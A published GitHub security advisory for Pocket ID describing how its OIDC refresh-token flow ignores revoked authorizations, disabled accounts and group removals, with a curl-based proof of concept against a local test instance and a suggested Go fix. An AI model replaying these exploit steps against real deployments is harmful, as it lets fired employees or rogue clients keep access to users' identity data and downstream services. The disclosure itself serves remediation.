Skip to content

Pocket ID: OIDC refresh token flow bypasses authorization revocation, account disabling, and group restrictions

High severity GitHub Reviewed Published Apr 26, 2026 in pocket-id/pocket-id

Package

gomod github.com/pocket-id/pocket-id/backend (Go)

Affected versions

< 0.0.0-20260419162744-978ac87deffe

Patched versions

0.0.0-20260419162744-978ac87deffe

Description

OIDC Refresh Token Flow Bypasses Authorization Revocation, Account Disabling, and Group Restrictions

Summary

The createTokenFromRefreshToken function (oidc_service.go:451) validates the refresh token's cryptographic integrity but does not re-validate the user's current authorization state before issuing new tokens. This allows three bypasses:

  1. Authorization revocation bypass: After a user revokes an OIDC client's authorization, the client can continue refreshing tokens indefinitely because RevokeAuthorizedClient does not delete associated refresh tokens, and the refresh flow does not check if the authorization record still exists.

  2. Disabled user bypass: After an admin disables a user account, pre-existing refresh tokens continue to work because the OIDC token endpoint does not check user.Disabled. Session-based access is properly blocked by auth middleware, but the OIDC refresh path bypasses it entirely.

  3. Group restriction bypass: After removing a user from an OIDC client's allowed user groups, the refresh token continues to work because createTokenFromRefreshToken does not call IsUserGroupAllowedToAuthorize.

Each refresh rotates the token with a fresh 30-day expiry, enabling perpetual access.

Target

  • Repository: pocket-id/pocket-id
  • Version: HEAD (626adbf), also affects v2.5.0 and all versions with refresh token support

Root Cause

createTokenFromRefreshToken (oidc_service.go:451-547) performs the following checks on a refresh request:

  1. Verify the signed refresh token JWT (line 457) -- checked
  2. Verify client credentials (line 467) -- checked
  3. Look up stored refresh token by hash, expiry, user_id, client_id (line 478-495) -- checked
  4. Verify refresh token belongs to the requesting client (line 498) -- checked

It does NOT check:

  • Whether a UserAuthorizedOidcClient record still exists for the user-client pair -- MISSING
  • Whether user.Disabled is false -- MISSING
  • Whether IsUserGroupAllowedToAuthorize passes for group-restricted clients -- MISSING (groups are loaded at line 481 via Preload("User.UserGroups") but never validated)

Meanwhile, RevokeAuthorizedClient (line 1445-1471) only deletes the UserAuthorizedOidcClient record. It does not delete associated OidcRefreshToken records. There is no FK cascade between these tables (the FK cascade on oidc_refresh_tokens is only on user DELETE and client DELETE, not on authorization record deletion).

Proof of Concept (Verified Live)

Tested against Pocket ID HEAD (626adbf) running in Docker with e2etest build. All 20 test assertions pass.

Variant 1: Authorization Revocation Bypass

# Reset test DB
curl -s -X POST http://localhost:1411/api/test/reset?skip-ldap=true

# Authenticate as Tim (admin user, seeded OTA token)
curl -s -c cookies.txt -X POST http://localhost:1411/api/one-time-access-token/HPe6k6uiDRRVuAQV

# Authorize Nextcloud client
AUTH_CODE=$(curl -s -b cookies.txt -X POST http://localhost:1411/api/oidc/authorize \
  -H "Content-Type: application/json" \
  -d '{"clientId":"3654a746-35d4-4321-ac61-0bdcff2b4055","scope":"openid profile email groups","callbackURL":"http://nextcloud/auth/callback"}' \
  | python3 -c "import json,sys; print(json.load(sys.stdin)['code'])")

# Exchange for tokens (including refresh token)
TOKENS=$(curl -s -X POST http://localhost:1411/api/oidc/token \
  -d "grant_type=authorization_code&code=$AUTH_CODE&client_id=3654a746-35d4-4321-ac61-0bdcff2b4055&client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY&redirect_uri=http://nextcloud/auth/callback")
REFRESH=$(echo $TOKENS | python3 -c "import json,sys; print(json.load(sys.stdin)['refresh_token'])")

# User revokes authorization (returns 204)
curl -s -o /dev/null -w "%{http_code}" -b cookies.txt \
  -X DELETE http://localhost:1411/api/oidc/users/me/authorized-clients/3654a746-35d4-4321-ac61-0bdcff2b4055
# Output: 204

# ATTACK: Refresh token STILL WORKS after revocation
curl -s -X POST http://localhost:1411/api/oidc/token \
  -d "grant_type=refresh_token&refresh_token=$REFRESH&client_id=3654a746-35d4-4321-ac61-0bdcff2b4055&client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY"
# Returns 200 with new access_token, id_token (containing PII), and refresh_token (new 30-day expiry)

Live output: Introspection confirms active: true. ID token contains: name: Tim Cook, email: tim.cook@test.com, groups: [designers, developers].

Variant 2: Disabled User Bypass

# (After setup and obtaining refresh token as above)

# Admin disables Tim's account
curl -s -b cookies.txt -X PUT http://localhost:1411/api/users/f4b89dc2-62fb-46bf-9f5f-c34f4eafe93e \
  -H "Content-Type: application/json" \
  -d '{"disabled":true,"username":"tim","email":"tim.cook@test.com","firstName":"Tim","lastName":"Cook","isAdmin":true}'
# Returns 200 with disabled: true

# Session access properly blocked (auth middleware checks Disabled)
curl -s -o /dev/null -w "%{http_code}" -b cookies.txt http://localhost:1411/api/users/me
# Output: 401

# ATTACK: Refresh token STILL WORKS for disabled user
curl -s -X POST http://localhost:1411/api/oidc/token \
  -d "grant_type=refresh_token&refresh_token=$REFRESH&client_id=3654a746-35d4-4321-ac61-0bdcff2b4055&client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY"
# Returns 200 with full token set

# Userinfo also works for disabled user
curl -s -H "Authorization: Bearer $NEW_ACCESS" http://localhost:1411/api/oidc/userinfo
# Returns: {"name":"Tim Cook","email":"tim.cook@test.com",...}

Impact: The admin kill switch for terminating employee access is completely bypassed. A fired employee's pre-existing OIDC refresh tokens continue to grant access to all downstream services.

Variant 3: Group Restriction Bypass

# (After setup, authorize Immich client which is group-restricted to "designers")
# Tim is in designers group, gets authorized and obtains refresh token

# Remove Tim from designers group (keep only Craig)
curl -s -b cookies.txt -X PUT http://localhost:1411/api/user-groups/adab18bf-f89d-4087-9ee1-70ff15b48211/users \
  -H "Content-Type: application/json" -d '{"userIds":["1cd19686-f9a6-43f4-a41f-14a0bf5b4036"]}'
# Tim no longer in designers

# ATTACK: Refresh token STILL WORKS after group removal
# Returns 200 with new tokens

Impact

The three variants share the same root cause but have different real-world implications:

  1. Authorization revocation is ineffective: Users who revoke an OIDC client's access have a false sense of security. A malicious or compromised client retains indefinite access to the user's identity data through token rotation. The id_token issued during refresh contains full PII (name, email, groups, custom claims) regardless of the userinfo endpoint's authorization check.

  2. Account disabling does not terminate OIDC access: This is the highest-severity variant. When an organization terminates an employee and disables their Pocket ID account, all session-based access is correctly blocked. But any OIDC client that obtained a refresh token before the disabling continues to have full access. In enterprise environments where Pocket ID gates access to sensitive services (Git, CI/CD, infrastructure), this creates a persistent backdoor.

  3. Group-based access control is only enforced at authorization time: Group restrictions on OIDC clients (e.g., "only the infrastructure team can access the CI/CD client") can be bypassed by anyone who obtained a refresh token before being removed from the group.

Related

GitHub issue #1390 reports a similar pattern: refresh tokens are not deleted when a session ends via the end-session endpoint. Same root cause (refresh token lifecycle detached from authorization state), different entry point.

Suggested Fix

Primary fix: Re-validate authorization state in createTokenFromRefreshToken

Add the following checks after the refresh token lookup (after line 495):

// Check 1: Verify user is not disabled
if storedRefreshToken.User.Disabled {
    return CreatedTokens{}, &common.OidcInvalidRefreshTokenError{}
}

// Check 2: Verify UserAuthorizedOidcClient still exists
var authorizedClient model.UserAuthorizedOidcClient
err = tx.WithContext(ctx).
    Where("user_id = ? AND client_id = ?", storedRefreshToken.UserID, input.ClientID).
    First(&authorizedClient).Error
if errors.Is(err, gorm.ErrRecordNotFound) {
    // Authorization was revoked - delete this refresh token and reject
    tx.Delete(&storedRefreshToken)
    return CreatedTokens{}, &common.OidcInvalidRefreshTokenError{}
}

// Check 3: Re-verify group restrictions
if !IsUserGroupAllowedToAuthorize(storedRefreshToken.User, client) {
    return CreatedTokens{}, &common.OidcAccessDeniedError{}
}

Secondary fix: Delete refresh tokens on authorization revocation

In RevokeAuthorizedClient, also delete all refresh tokens for the user-client pair:

// After deleting the authorized client record
err = tx.WithContext(ctx).
    Where("user_id = ? AND client_id = ?", userID, clientID).
    Delete(&model.OidcRefreshToken{}).Error
if err != nil {
    return err
}

Both fixes should be applied together (defense in depth).

Self-Review

  • Is this by-design? No. The revocation feature, the disabled flag, and group restrictions all exist to control access. The refresh flow bypassing all three is a bug, not a feature.
  • Are there upstream bounds? No. Refresh tokens are stored independently. No FK cascade, no periodic cleanup, no validation of authorization state.
  • Honest weaknesses:
    • Variant 1 (revocation): The attacker must be the OIDC client operator (they need client credentials and existing refresh token). Userinfo endpoint does return 404 after revocation, which is a partial mitigation. But the id_token issued during refresh already contains all PII.
    • All variants: Requires a pre-existing refresh token, so the access must have been legitimately granted at some point.
  • Existing reports: Issue #1390 covers the related end-session case. No prior security reports for the revocation/disabled/group variants.

Koda Reef

References

@stonith404 stonith404 published to pocket-id/pocket-id Apr 26, 2026
Published by the National Vulnerability Database May 12, 2026
Published to the GitHub Advisory Database Jul 28, 2026
Reviewed Jul 28, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(16th percentile)

Weaknesses

Improper Authorization

The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

Insufficient Session Expiration

According to WASC, Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization. Learn more on MITRE.

CVE ID

CVE-2026-43983

GHSA ID

GHSA-w6p7-2fxx-4f44

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.